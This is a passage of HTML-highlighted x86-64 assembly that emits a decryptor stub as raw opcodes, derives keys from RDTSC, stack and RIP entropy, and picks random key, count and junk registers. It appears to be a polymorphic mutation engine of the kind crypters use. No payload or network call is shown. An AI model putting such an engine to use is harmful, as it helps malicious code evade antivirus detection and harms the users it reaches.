    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; RIP-relative offset&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; lea rsi,[rip+offset]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x35&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rcx,engine_size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.engine_sz2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="nl"&gt;.engine_sz2:&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; rep movsb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF3&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA4&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;bf_boo:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate runtime keys&lt;/span&gt;
&lt;span class="nl"&gt;gen_runtm:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;rdtsc&lt;/span&gt;                                       &lt;span class="c1"&gt;; entropy from RDTSC&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                          &lt;span class="c1"&gt;; mix with user key&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;                                &lt;span class="c1"&gt;; stack entropy&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;.get_rip&lt;/span&gt;                               &lt;span class="c1"&gt;; RIP entropy&lt;/span&gt;
&lt;span class="nl"&gt;.get_rip:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;                                &lt;span class="c1"&gt;; dynamic constant&lt;/span&gt;
    &lt;span class="nf"&gt;ror&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;                                &lt;span class="c1"&gt;; dynamic XOR&lt;/span&gt;
    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; secondary key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCAFE0F00&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDEADC0DE&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sec_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                     &lt;span class="c1"&gt;; ensure different from user key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.keys_different&lt;/span&gt;
    &lt;span class="nf"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nl"&gt;.keys_different:&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; PRNG&lt;/span&gt;
&lt;span class="nl"&gt;next_random:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;random_range:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.range_zero&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;div&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;span class="nl"&gt;.range_zero:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; random boolean&lt;/span&gt;
&lt;span class="nl"&gt;yes_no:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;setbe&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; select random registers&lt;/span&gt;
&lt;span class="nl"&gt;get_rr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;                             &lt;span class="c1"&gt;; avoid rax as base&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_count:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;                             &lt;span class="c1"&gt;; avoid rax as count&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk1:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk2:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk2&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk3:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; select algorithm&lt;/span&gt;
&lt;span class="nl"&gt;set_al:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
